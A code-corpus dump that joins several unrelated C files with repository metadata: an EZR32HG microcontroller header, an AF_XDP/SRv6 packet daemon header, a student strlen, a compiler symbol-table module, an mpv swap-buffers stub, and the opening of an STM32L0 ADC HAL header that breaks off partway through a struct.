#define DEVICE_MEM_BASE (0xF0040000UL) /**< DEVICE base address */
#define DEVICE_MEM_SIZE (0x1000UL) /**< DEVICE available address space */
#define DEVICE_MEM_END (0xF0040FFFUL) /**< DEVICE end address */
#define DEVICE_MEM_BITS (0x12UL) /**< DEVICE used bits */
#define RAM_CODE_MEM_BASE (0x10000000UL) /**< RAM_CODE base address */
#define RAM_CODE_MEM_SIZE (0x20000UL) /**< RAM_CODE available address space */
#define RAM_CODE_MEM_END (0x1001FFFFUL) /**< RAM_CODE end address */
#define RAM_CODE_MEM_BITS (0x17UL) /**< RAM_CODE used bits */
/** Flash and SRAM limits for EZR32HG320F64R69 */
#define FLASH_BASE (0x00000000UL) /**< Flash Base Address */
#define FLASH_SIZE (0x00010000UL) /**< Available Flash Memory */
#define FLASH_PAGE_SIZE 1024U /**< Flash Memory page size */
#define SRAM_BASE (0x20000000UL) /**< SRAM Base Address */
#define SRAM_SIZE (0x00002000UL) /**< Available SRAM Memory */
#define __CM0PLUS_REV 0x0001U /**< Cortex-M0+ Core revision r0p1 */
#define PRS_CHAN_COUNT 6 /**< Number of PRS channels */
#define DMA_CHAN_COUNT 6 /**< Number of DMA channels */
#define EXT_IRQ_COUNT 20 /**< Number of External (NVIC) interrupts */
/** AF channels connect the different on-chip peripherals with the af-mux */
#define AFCHAN_MAX 42U
#define AFCHANLOC_MAX 7U
/** Analog AF channels */
#define AFACHAN_MAX 27U
/* Part number capabilities */
#define TIMER_PRESENT /**< TIMER is available in this part */
#define TIMER_COUNT 3 /**< 3 TIMERs available */
#define USART_PRESENT /**< USART is available in this part */
#define USART_COUNT 1 /**< 1 USARTs available */
#define USARTRF_PRESENT /**< USARTRF is available in this part */
#define USARTRF_COUNT 1 /**< 1 USARTRFs available */
#define IDAC_PRESENT /**< IDAC is available in this part */
#define IDAC_COUNT 1 /**< 1 IDACs available */
#define ADC_PRESENT /**< ADC is available in this part */
#define ADC_COUNT 1 /**< 1 ADCs available */
#define LEUART_PRESENT /**< LEUART is available in this part */
#define LEUART_COUNT 1 /**< 1 LEUARTs available */
#define PCNT_PRESENT /**< PCNT is available in this part */
#define PCNT_COUNT 1 /**< 1 PCNTs available */
#define I2C_PRESENT /**< I2C is available in this part */
#define I2C_COUNT 1 /**< 1 I2Cs available */
#define AES_PRESENT /**< AES is available in this part */
#define AES_COUNT 1 /**< 1 AES available */
#define DMA_PRESENT /**< DMA is available in this part */
#define DMA_COUNT 1 /**< 1 DMA available */
#define LE_PRESENT /**< LE is available in this part */
#define LE_COUNT 1 /**< 1 LE available */
#define USBC_PRESENT /**< USBC is available in this part */
#define USBC_COUNT 1 /**< 1 USBC available */
#define USBLE_PRESENT /**< USBLE is available in this part */
#define USBLE_COUNT 1 /**< 1 USBLE available */
#define USB_PRESENT /**< USB is available in this part */
#define USB_COUNT 1 /**< 1 USB available */
#define MSC_PRESENT /**< MSC is available in this part */
#define MSC_COUNT 1 /**< 1 MSC available */
#define EMU_PRESENT /**< EMU is available in this part */
#define EMU_COUNT 1 /**< 1 EMU available */
#define RMU_PRESENT /**< RMU is available in this part */
#define RMU_COUNT 1 /**< 1 RMU available */
#define CMU_PRESENT /**< CMU is available in this part */
#define CMU_COUNT 1 /**< 1 CMU available */
#define PRS_PRESENT /**< PRS is available in this part */
#define PRS_COUNT 1 /**< 1 PRS available */
#define GPIO_PRESENT /**< GPIO is available in this part */
#define GPIO_COUNT 1 /**< 1 GPIO available */
#define VCMP_PRESENT /**< VCMP is available in this part */
#define VCMP_COUNT 1 /**< 1 VCMP available */
#define RTC_PRESENT /**< RTC is available in this part */
#define RTC_COUNT 1 /**< 1 RTC available */
#define HFXTAL_PRESENT /**< HFXTAL is available in this part */
#define HFXTAL_COUNT 1 /**< 1 HFXTAL available */
#define LFXTAL_PRESENT /**< LFXTAL is available in this part */
#define LFXTAL_COUNT 1 /**< 1 LFXTAL available */
#define USHFRCO_PRESENT /**< USHFRCO is available in this part */
#define USHFRCO_COUNT 1 /**< 1 USHFRCO available */
#define WDOG_PRESENT /**< WDOG is available in this part */
#define WDOG_COUNT 1 /**< 1 WDOG available */
#define DBG_PRESENT /**< DBG is available in this part */
#define DBG_COUNT 1 /**< 1 DBG available */
#define MTB_PRESENT /**< MTB is available in this part */
#define MTB_COUNT 1 /**< 1 MTB available */
#define BOOTLOADER_PRESENT /**< BOOTLOADER is available in this part */
#define BOOTLOADER_COUNT 1 /**< 1 BOOTLOADER available */
#define ANALOG_PRESENT /**< ANALOG is available in this part */
#define ANALOG_COUNT 1 /**< 1 ANALOG available */
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_RF_Interface EZR32HG320F64R69 RF_Interface
* @brief MCU port/pins used for RF interface.
* @{
******************************************************************************/
#define RF_USARTRF_LOCATION 5 /**< RF SPI-port (USART) location number. */
#define RF_USARTRF_CS_PORT 2 /**< Bit banged RF SPI CS GPIO port no. */
#define RF_USARTRF_CS_PIN 0 /**< Bit banged RF SPI CS GPIO pin number.*/
#define RF_USARTRF_CLK_PORT 2 /**< RF SPI CLK GPIO port number. */
#define RF_USARTRF_CLK_PIN 3 /**< RF SPI CLK GPIO pin number. */
#define RF_USARTRF_MISO_PORT 2 /**< RF SPI MISO GPIO port number. */
#define RF_USARTRF_MISO_PIN 2 /**< RF SPI MISO GPIO pin number. */
#define RF_USARTRF_MOSI_PORT 2 /**< RF SPI MOSI GPIO port number. */
#define RF_USARTRF_MOSI_PIN 1 /**< RF SPI MOSI GPIO pin number. */
#define RF_INT_PORT 2 /**< RF interrupt GPIO port number. */
#define RF_INT_PIN 4 /**< RF interrupt GPIO pin number. */
#define RF_SDN_PORT 0 /**< RF SDN GPIO port number. */
#define RF_SDN_PIN 2 /**< RF SDN GPIO pin number. */
/** @} End of group EZR32HG320F64R69_RF_Interface */
/** @} End of group EZR32HG320F64R69_Part */
#define ARM_MATH_CM0PLUS
#include "arm_math.h" /* To get __CLZ definitions etc. */
#include "core_cm0plus.h" /* Cortex-M0+ processor and core peripherals */
#include "system_ezr32hg.h" /* System Header */
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_Peripheral_TypeDefs EZR32HG320F64R69 Peripheral TypeDefs
* @{
* @brief Device Specific Peripheral Register Structures
******************************************************************************/
#include "ezr32hg_aes.h"
#include "ezr32hg_dma_ch.h"
#include "ezr32hg_dma.h"
#include "ezr32hg_usb_diep.h"
#include "ezr32hg_usb_doep.h"
#include "ezr32hg_usb.h"
#include "ezr32hg_msc.h"
#include "ezr32hg_emu.h"
#include "ezr32hg_rmu.h"
#include "ezr32hg_cmu.h"
#include "ezr32hg_timer_cc.h"
#include "ezr32hg_timer.h"
#include "ezr32hg_usart.h"
#include "ezr32hg_prs_ch.h"
#include "ezr32hg_prs.h"
#include "ezr32hg_idac.h"
#include "ezr32hg_gpio_p.h"
#include "ezr32hg_gpio.h"
#include "ezr32hg_vcmp.h"
#include "ezr32hg_adc.h"
#include "ezr32hg_leuart.h"
#include "ezr32hg_pcnt.h"
#include "ezr32hg_i2c.h"
#include "ezr32hg_rtc.h"
#include "ezr32hg_wdog.h"
#include "ezr32hg_mtb.h"
#include "ezr32hg_dma_descriptor.h"
#include "ezr32hg_devinfo.h"
#include "ezr32hg_romtable.h"
#include "ezr32hg_calibrate.h"
/** @} End of group EZR32HG320F64R69_Peripheral_TypeDefs */
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_Peripheral_Base EZR32HG320F64R69 Peripheral Memory Map
* @{
******************************************************************************/
#define AES_BASE (0x400E0000UL) /**< AES base address */
#define DMA_BASE (0x400C2000UL) /**< DMA base address */
#define USB_BASE (0x400C4000UL) /**< USB base address */
#define MSC_BASE (0x400C0000UL) /**< MSC base address */
#define EMU_BASE (0x400C6000UL) /**< EMU base address */
#define RMU_BASE (0x400CA000UL) /**< RMU base address */
#define CMU_BASE (0x400C8000UL) /**< CMU base address */
#define TIMER0_BASE (0x40010000UL) /**< TIMER0 base address */
#define TIMER1_BASE (0x40010400UL) /**< TIMER1 base address */
#define TIMER2_BASE (0x40010800UL) /**< TIMER2 base address */
#define USART0_BASE (0x4000C000UL) /**< USART0 base address */
#define USARTRF1_BASE (0x4000C400UL) /**< USARTRF1 base address */
#define PRS_BASE (0x400CC000UL) /**< PRS base address */
#define IDAC0_BASE (0x40004000UL) /**< IDAC0 base address */
#define GPIO_BASE (0x40006000UL) /**< GPIO base address */
#define VCMP_BASE (0x40000000UL) /**< VCMP base address */
#define ADC0_BASE (0x40002000UL) /**< ADC0 base address */
#define LEUART0_BASE (0x40084000UL) /**< LEUART0 base address */
#define PCNT0_BASE (0x40086000UL) /**< PCNT0 base address */
#define I2C0_BASE (0x4000A000UL) /**< I2C0 base address */
#define RTC_BASE (0x40080000UL) /**< RTC base address */
#define WDOG_BASE (0x40088000UL) /**< WDOG base address */
#define MTB_BASE (0xF0040000UL) /**< MTB base address */
#define CALIBRATE_BASE (0x0FE08000UL) /**< CALIBRATE base address */
#define DEVINFO_BASE (0x0FE081A8UL) /**< DEVINFO base address */
#define ROMTABLE_BASE (0xF00FFFD0UL) /**< ROMTABLE base address */
#define LOCKBITS_BASE (0x0FE04000UL) /**< Lock-bits page base address */
#define USERDATA_BASE (0x0FE00000UL) /**< User data page base address */
/** @} End of group EZR32HG320F64R69_Peripheral_Base */
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_Peripheral_Declaration EZR32HG320F64R69 Peripheral Declarations
* @{
******************************************************************************/
#define AES ((AES_TypeDef *) AES_BASE) /**< AES base pointer */
#define DMA ((DMA_TypeDef *) DMA_BASE) /**< DMA base pointer */
#define USB ((USB_TypeDef *) USB_BASE) /**< USB base pointer */
#define MSC ((MSC_TypeDef *) MSC_BASE) /**< MSC base pointer */
#define EMU ((EMU_TypeDef *) EMU_BASE) /**< EMU base pointer */
#define RMU ((RMU_TypeDef *) RMU_BASE) /**< RMU base pointer */
#define CMU ((CMU_TypeDef *) CMU_BASE) /**< CMU base pointer */
#define TIMER0 ((TIMER_TypeDef *) TIMER0_BASE) /**< TIMER0 base pointer */
#define TIMER1 ((TIMER_TypeDef *) TIMER1_BASE) /**< TIMER1 base pointer */
#define TIMER2 ((TIMER_TypeDef *) TIMER2_BASE) /**< TIMER2 base pointer */
#define USART0 ((USART_TypeDef *) USART0_BASE) /**< USART0 base pointer */
#define USARTRF1 ((USART_TypeDef *) USARTRF1_BASE) /**< USARTRF1 base pointer */
#define PRS ((PRS_TypeDef *) PRS_BASE) /**< PRS base pointer */
#define IDAC0 ((IDAC_TypeDef *) IDAC0_BASE) /**< IDAC0 base pointer */
#define GPIO ((GPIO_TypeDef *) GPIO_BASE) /**< GPIO base pointer */
#define VCMP ((VCMP_TypeDef *) VCMP_BASE) /**< VCMP base pointer */
#define ADC0 ((ADC_TypeDef *) ADC0_BASE) /**< ADC0 base pointer */
#define LEUART0 ((LEUART_TypeDef *) LEUART0_BASE) /**< LEUART0 base pointer */
#define PCNT0 ((PCNT_TypeDef *) PCNT0_BASE) /**< PCNT0 base pointer */
#define I2C0 ((I2C_TypeDef *) I2C0_BASE) /**< I2C0 base pointer */
#define RTC ((RTC_TypeDef *) RTC_BASE) /**< RTC base pointer */
#define WDOG ((WDOG_TypeDef *) WDOG_BASE) /**< WDOG base pointer */
#define MTB ((MTB_TypeDef *) MTB_BASE) /**< MTB base pointer */
#define CALIBRATE ((CALIBRATE_TypeDef *) CALIBRATE_BASE) /**< CALIBRATE base pointer */
#define DEVINFO ((DEVINFO_TypeDef *) DEVINFO_BASE) /**< DEVINFO base pointer */
#define ROMTABLE ((ROMTABLE_TypeDef *) ROMTABLE_BASE) /**< ROMTABLE base pointer */
/** @} End of group EZR32HG320F64R69_Peripheral_Declaration */
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_BitFields EZR32HG320F64R69 Bit Fields
* @{
******************************************************************************/
#include "ezr32hg_prs_signals.h"
#include "ezr32hg_dmareq.h"
#include "ezr32hg_dmactrl.h"
#include "ezr32hg_usartrf.h"
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_UNLOCK EZR32HG320F64R69 Unlock Codes
* @{
******************************************************************************/
#define MSC_UNLOCK_CODE 0x1B71 /**< MSC unlock code */
#define EMU_UNLOCK_CODE 0xADE8 /**< EMU unlock code */
#define CMU_UNLOCK_CODE 0x580E /**< CMU unlock code */
#define TIMER_UNLOCK_CODE 0xCE80 /**< TIMER unlock code */
#define GPIO_UNLOCK_CODE 0xA534 /**< GPIO unlock code */
/** @} End of group EZR32HG320F64R69_UNLOCK */
/** @} End of group EZR32HG320F64R69_BitFields */
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_Alternate_Function EZR32HG320F64R69 Alternate Function
* @{
******************************************************************************/
#include "ezr32hg_af_ports.h"
#include "ezr32hg_af_pins.h"
/** @} End of group EZR32HG320F64R69_Alternate_Function */
/***************************************************************************//**
* @brief Set the value of a bit field within a register.
*
* @param REG
* The register to update
* @param MASK
* The mask for the bit field to update
* @param VALUE
* The value to write to the bit field
* @param OFFSET
* The number of bits that the field is offset within the register.
* 0 (zero) means LSB.
******************************************************************************/
#define SET_BIT_FIELD(REG, MASK, VALUE, OFFSET) \
REG = ((REG) &~(MASK)) | (((VALUE) << (OFFSET)) & (MASK));
/** @} End of group EZR32HG320F64R69 */
/** @} End of group Parts */
#ifdef __cplusplus
}
#endif
#endif /* EZR32HG320F64R69_H */
| [
"andre@philosopher.it"
] | andre@philosopher.it |
f8c44c62f46576c9bae111a220e5913dde2e56d7 | 78f22f375dac012269b8dac63ccb3f2537e4358b | /main.h | bcd4002c5f8e598e7f71edad87a344ca873c4b93 | [
"MIT"
] | permissive | jackmygreat/end.ac | d798547db83c49fb9d5c16bda8bd06a36c19ae4f | 33e7fffc62e2b7ec6ba29ab41036ca2c2597e82a | refs/heads/master | 2022-02-02T21:42:20.895137 | 2019-06-17T06:25:38 | 2019-06-17T06:25:38 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,069 | h | #ifndef _XDPD_MAIN_H
#define _XDPD_MAIN_H
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_ether.h>
#define ALIGN(x,a) __ALIGN_MASK(x,(typeof(x))(a)-1)
#define __ALIGN_MASK(x,mask) (((x)+(mask))&~(mask))
#define SRV6_END_AC
#define SRV6_PSP
#ifdef SRV6_END_AC
#include <pthread.h>
#endif
//#define DEBUG
#ifdef DEBUG
#define xdp_print(args...) printf("xdp: " args)
#else
#define xdp_print(args...)
#endif
#define min(x, y) ({ \
typeof(x) _min1 = (x); \
typeof(y) _min2 = (y); \
(void) (&_min1 == &_min2); \
_min1 < _min2 ? _min1 : _min2; })
#define max(x, y) ({ \
typeof(x) _max1 = (x); \
typeof(y) _max2 = (y); \
(void) (&_max1 == &_max2); \
_max1 > _max2 ? _max1 : _max2; })
#define likely(x) __builtin_expect(!!(x), 1)
#define unlikely(x) __builtin_expect(!!(x), 0)
#define prefetch(x) __builtin_prefetch(x, 0)
#define prefetchw(x) __builtin_prefetch(x, 1)
#define PROCESS_NAME "xdp"
#define SYSLOG_FACILITY LOG_DAEMON
#define XDPD_RX_DESC 1024
#define XDPD_TX_DESC 2048
#define XDPD_RX_BUDGET 256
#define XDPD_TX_BUDGET 2048
#define XDPD_MAX_CORES 16
#define XDPD_MAX_ARGS 128
#define XDPD_MAX_ARGLEN 1024
#define XDPD_MAX_IFS 64
#ifndef SOL_XDP
#define SOL_XDP 283
#endif
#ifndef AF_XDP
#define AF_XDP 44
#endif
#ifndef PF_XDP
#define PF_XDP AF_XDP
#endif
#define READ_SIZE 4096
struct xdp_ring {
void *addr;
uint32_t *producer;
uint32_t *consumer;
void *descs;
unsigned int size;
};
#define XDP_SLOT_INFLIGHT 0x1
struct xdp_buf {
void *addr;
unsigned int slot_size;
unsigned int slot_count;
unsigned int slot_count_devbuf;
unsigned int slot_mask_devbuf;
unsigned int *slots;
};
struct xdp_dev {
int xsks_map;
unsigned int num_qps;
unsigned int buf_size;
unsigned int mtu_frame;
char mac_addr[ETH_ALEN];
int ifindex;
char name[IFNAMSIZ];
void *drv_data;
};
struct xdp_packet {
void *slot_buf;
unsigned int slot_size;
unsigned int slot_index;
int out;
void *current;
void *layer2;
void *layer3;
void *layer3_ext;
uint8_t sr_arg;
unsigned int flag;
uint8_t nexthdr;
};
#define PACKET_SRV6_MATCH 0x0001
#define PACKET_SRV6_UPDATED 0x0002
#ifdef SRV6_END_AC
#define PACKET_SRV6_ENDAC_MATCH 0x0010
#endif
struct xdp_vec {
int num;
struct xdp_packet packets[XDPD_RX_BUDGET];
};
struct xdp_vec_ref {
int num;
struct xdp_packet *packets[XDPD_RX_BUDGET];
};
#ifdef SRV6_END_AC
struct sr_cache {
char buf[2048];
unsigned int size;
pthread_rwlock_t lock;
};
struct sr_sid {
char sid[16];
unsigned int len;
unsigned int arg_offset;
};
struct sr_cache_table {
struct sr_cache cache4[256];
struct sr_cache cache6[256];
struct sr_sid sid;
unsigned int ifidx[4];
char mac_addr[2][ETH_ALEN];
};
extern struct sr_cache_table sr_cache_table[2];
#endif
struct xdp_port {
/* struct dev specific parameters */
unsigned int dev_idx;
int xfd;
struct xdp_ring rx_ring;
struct xdp_ring tx_ring;
struct xdp_ring cq_ring;
struct xdp_ring fq_ring;
struct xdp_vec vec_rx;
struct xdp_vec_ref vec_tx;
unsigned int num_qps;
unsigned int mtu_frame;
char mac_addr[ETH_ALEN];
unsigned int rx_slot_next;
unsigned int rx_slot_offset;
unsigned long count_rx_alloc_failed;
unsigned long count_rx_clean_total;
unsigned long count_tx_xmit_failed;
unsigned long count_tx_clean_total;
#ifdef SRV6_END_AC
#define SRV6_END_AC_MODE_OUTER 0x0001
#define SRV6_END_AC_MODE_INNER 0x0002
unsigned int mode;
unsigned int bound_table_idx;
unsigned int bound_port_idx;
char bound_mac_addr[ETH_ALEN];
#endif
};
struct xdp_plane {
struct xdp_port *ports;
unsigned short num_ports;
};
struct xdpd {
struct xdp_dev **devs;
int num_threads;
unsigned int cores[XDPD_MAX_CORES];
int num_devices;
char *ifnames[XDPD_MAX_IFS];
unsigned int mtu_frame;
unsigned int buf_size;
unsigned int buf_count;
unsigned int numa_node;
unsigned int xdp_flags;
unsigned int xdp_bind_flags;
};
void xdpd_log(int level, char *fmt, ...);
extern char *optarg;
#endif /* _XDPD_MAIN_H */
| [
"eden@nttv6.jp"
] | eden@nttv6.jp |
acf36eaa7874588989de33bd95a3500c8621ed56 | 004120f3f7cc962f72cd4f29f45096f32fd1b284 | /C01/ex06/ft_strlen.c | 250949198298f88415c335fdd56c317c3e9bd02f | [] | no_license | gperuchi/42-Basecamp | e3104b50279a2f29003dd9d655747a92c16e028d | 84e5c73998336bb5c67ac1bf8391eb7c20da3b44 | refs/heads/main | 2023-04-16T11:04:03.522143 | 2021-04-20T22:40:17 | 2021-04-20T22:40:17 | 351,912,817 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 995 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlen.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: gperuchi <gperuchi@student.42sp.org.br> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/04/03 15:45:11 by gperuchi #+# #+# */
/* Updated: 2021/04/16 15:47:59 by gperuchi ### ########.fr */
/* */
/* ************************************************************************** */
//OK
int ft_strlen(char *str)
{
int i;
i = 0;
while (str[i] != '\0')
{
i++;
}
return (i);
}
| [
"gperuchi@student.42sp.org.br"
] | gperuchi@student.42sp.org.br |
112d141b3387959a6638445da509b6701f3f1533 | 9dbce2353cc5371cfa1c11536f895a45a259c488 | /Projet-ABDALLAH-LALLIS/fonction.c | 640566c33ec96a842874b7db86acb9d893aacefe | [] | no_license | Alsroth/Compilateur_miniC_DOT | e091bea9f9aff387599af61e64a92a4b29cdece8 | 34dd9e75f48c74e175865e0a0014bf10ecc13afc | refs/heads/master | 2020-04-20T19:39:45.742884 | 2019-12-18T20:19:48 | 2019-12-18T20:19:48 | 169,055,186 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 5,637 | c | // main.c
// Compilateur
//
// Created by Swabahadine ABDALLAH on 13/03/2019.
// Copyright © 2019 Swabahadine Abdallah. All rights reserved.
//
typedef struct Variable Variable;
typedef struct Environnement Environnement;
typedef struct Pile Pile;
struct Variable{
char* nom;
int valeur;
};
Variable listeValeur_appel[100];
int cpt_lva = 0;
struct Environnement{
Variable table_de_variable[100];
int num_derniere_var ;
Environnement* parent;
};
struct Pile
{
Environnement* premier;
};
void afficherPile(Pile *pile);
int recherchePosVar(char* nom , Environnement env){
int i = 0;
for(i = 0; i< env.num_derniere_var; i++){
Variable t = env.table_de_variable[i];
if(strcmp(t.nom,nom) == 0 ){
return i;
}
}
return i;
}
Variable trouveVar(char* nom , Environnement env){
Variable v = {"null",-1};
int i = 0;
for(i = 0; i< env.num_derniere_var; i++){
Variable t = env.table_de_variable[i];
if(strcmp(t.nom,nom) == 0 ){
return t;
}
}
return v;
}
int isExiste(char* nom , Environnement env){
int booleen = 1;
if(recherchePosVar(nom,env) == env.num_derniere_var){
booleen = 0;
}
return booleen;
}
void addVariable(char* nom, int valeur, Environnement* env){
int position = recherchePosVar(nom,*env);
Variable v ;
v.nom = nom;
v.valeur = valeur;
env->table_de_variable[position] = v;
if(position == env->num_derniere_var){
env->num_derniere_var++;
}
}
void addVariableSansValeur(char* nom, Environnement* env){
addVariable(nom, 0, env);
}
void afficherTableEnv(Environnement env){
printf("[");
for(int i = 0; i< env.num_derniere_var; i++){
Variable t = env.table_de_variable[i];
printf(" %s:%d ,",t.nom , t.valeur);
}
printf("]->");
}
void create_copy( Environnement* env , Environnement* n_env ){
Variable table_de_variable[100];
Variable v;
char* nom;
int valeur;
int taille = env->num_derniere_var;
for(int i = 0; i< taille; i++){
n_env->table_de_variable[i] = env->table_de_variable[i];
}
n_env->num_derniere_var = env->num_derniere_var;
n_env->parent = env->parent;
}
// Fonction pour pile
void empiler(Pile* pile)
{
Environnement *nouveau = malloc(sizeof(*nouveau));
if (pile == NULL || nouveau == NULL)
{
exit(EXIT_FAILURE);
}
nouveau->num_derniere_var = 0;
nouveau->parent = pile->premier;
pile->premier = nouveau;
}
void afficherPile(Pile *pile)
{
printf("\t->Pile : ");
int i = 0;
if (pile == NULL)
{
exit(EXIT_FAILURE);
}
Environnement *actuel = pile->premier;
while (actuel != NULL && i<50)
{
afficherTableEnv(*actuel);
actuel = actuel->parent;
i++;
}
printf("\n");
}
Environnement depiler(Pile* pile)
{
if (pile == NULL)
{
exit(EXIT_FAILURE);
}
Environnement envPremier;
Environnement *elementDepile = pile->premier;
if (pile != NULL && pile->premier != NULL)
{
envPremier = *elementDepile;
pile->premier = elementDepile->parent;
free(elementDepile);
}
return envPremier;
}
int isExistePile(char* nom , Pile *pile){
int i = 0;
int booleen = 0;
if (pile == NULL)
{
exit(EXIT_FAILURE);
}
Environnement *actuel = pile->premier;
while (actuel != NULL && i<50)
{
if(isExiste(nom , *actuel)){
return 1;
}
actuel = actuel->parent;
i++;
}
return 0;
}
Variable trouverVar_pile(char* nom , Pile *pile){
int i = 0;
int booleen = 0;
if (pile == NULL)
{
exit(EXIT_FAILURE);
}
Environnement *actuel = pile->premier;
while (actuel != NULL && i<50)
{
if(isExiste(nom , *actuel)){
return trouveVar(nom , *actuel);
}
actuel = actuel->parent;
i++;
}
Variable v = {nom,-1};
return v;
}
void rechercheVarDansPile( char* var , Pile *pile , int* yylineno){
if(!isExistePile(var,pile)){
yyerror("aucune declaration");
printf("\tla Variable/Fonction: %s n'a pas ete definie\n",var);
}
}
void rechercheVarDansPile2( char* var , Pile *pile ,Pile *pileFontion, int* yylineno){
Environnement *actuel = pileFontion->premier;
if(!isExiste(var , *actuel)){
rechercheVarDansPile( var , pile , yylineno);
}
}
void sementiqueDeclaration(char* var , Pile *pile , int valeur, int* yylineno){
Environnement nEnv = *pile->premier;
if(!isExiste(var,*pile->premier)) {
addVariable(var,valeur,pile->premier);
}
else{
yyerror("multiple declaration");
fprintf(stderr, "\tla variable \"%s\" a ete re declaree. \n",var); }
}
void sementiqueDeclaration2(char* var , Pile *pile ,Pile *pileFontion, int valeur, int* yylineno){
Environnement nEnv = *pile->premier;
Environnement nEnvFonction = *pileFontion->premier;
if(!isExiste(var,*pileFontion->premier)) {
sementiqueDeclaration(var , pile , valeur, yylineno);
}
else{
yyerror("multiple declaration");
fprintf(stderr, "\tla variable \"%s\" a ete declaree dans les parametres et ne peut etre re declaree. \n",var);
}
}
void semantiqueAppel(char* var , Pile *pile , int* valeur, int* yylineno){
Variable v = trouverVar_pile(var,pile);
v.valeur = *valeur;
listeValeur_appel[cpt_lva++] = v;
*valeur = 0;
}
void semantiqueEmpiler(Pile *pile){
empiler(pile);
}
| [
"alexandre.lallis@gmail.com"
] | alexandre.lallis@gmail.com |
17c3554a0e5f96c50a0bc58e036e717366402412 | 976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f | /source/mpv/video/out/opengl/extr_context_angle.c_angle_swap_buffers.c | 7bd2ae27dc9b5bcdf7e449fce6264ee92f23ec6f | [] | no_license | isabella232/AnghaBench | 7ba90823cf8c0dd25a803d1688500eec91d1cf4e | 9a5f60cdc907a0475090eef45e5be43392c25132 | refs/heads/master | 2023-04-20T09:05:33.024569 | 2021-05-07T18:36:26 | 2021-05-07T18:36:26 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 799 | c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct ra_ctx {struct priv* priv; } ;
struct priv {scalar_t__ dxgi_swapchain; } ;
/* Variables and functions */
int /*<<< orphan*/ d3d11_swap_buffers (struct ra_ctx*) ;
int /*<<< orphan*/ egl_swap_buffers (struct ra_ctx*) ;
__attribute__((used)) static void angle_swap_buffers(struct ra_ctx *ctx)
{
struct priv *p = ctx->priv;
if (p->dxgi_swapchain)
d3d11_swap_buffers(ctx);
else
egl_swap_buffers(ctx);
} | [
"brenocfg@gmail.com"
] | brenocfg@gmail.com |
ec6feca65f5354de55edbaf9ae9a10fd55d7611e | 3031cee249c04edae3c36413e6e5f5ef10843ba6 | /V2/Drivers/STM32L0xx_HAL_Driver/Inc/stm32l0xx_hal_adc.h | a58955935e53cfc4360f06149d9da6e3e91ae5e8 | [
"BSD-2-Clause"
] | permissive | HeyBirdie/Instrulab_V3 | bf3fe8e6abfbd60fa7bcec614e6f98b2585c3167 | a2084f98443e86bd7905afed902501c12435a762 | refs/heads/master | 2020-03-30T16:42:12.020715 | 2019-04-18T11:15:18 | 2019-04-18T11:15:18 | 151,422,183 | 0 | 1 | NOASSERTION | 2019-04-18T09:27:41 | 2018-10-03T14:03:15 | C | UTF-8 | C | false | false | 62,296 | h | /**
******************************************************************************
* @file stm32l0xx_hal_adc.h
* @author MCD Application Team
* @version V1.8.0
* @date 25-November-2016
* @brief Header file of ADC HAL module.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef __STM32L0xx_HAL_ADC_H
#define __STM32L0xx_HAL_ADC_H
#ifdef __cplusplus
extern "C" {
#endif
/* Includes ------------------------------------------------------------------*/
#include "stm32l0xx_hal_def.h"
/** @addtogroup STM32L0xx_HAL_Driver
* @{
*/
/** @addtogroup ADC
* @{
*/
/* Exported types ------------------------------------------------------------*/
/** @defgroup ADC_Exported_Types ADC Exported Types
* @{
*/
/**
* @brief ADC group regular oversampling structure definition
*/
typedef struct
{
uint32_t Ratio; /*!< Configures the oversampling ratio.
This parameter can be a value of @ref ADC_Oversampling_Ratio */
uint32_t RightBitShift; /*!< Configures the division coefficient for the Oversampler.
This parameter can be a value of @ref ADC_Right_Bit_Shift */
uint32_t TriggeredMode; /*!< Selects the regular triggered oversampling mode.
This parameter can be a value of @ref ADC_Triggered_Oversampling_Mode */
}ADC_OversamplingTypeDef;
/**
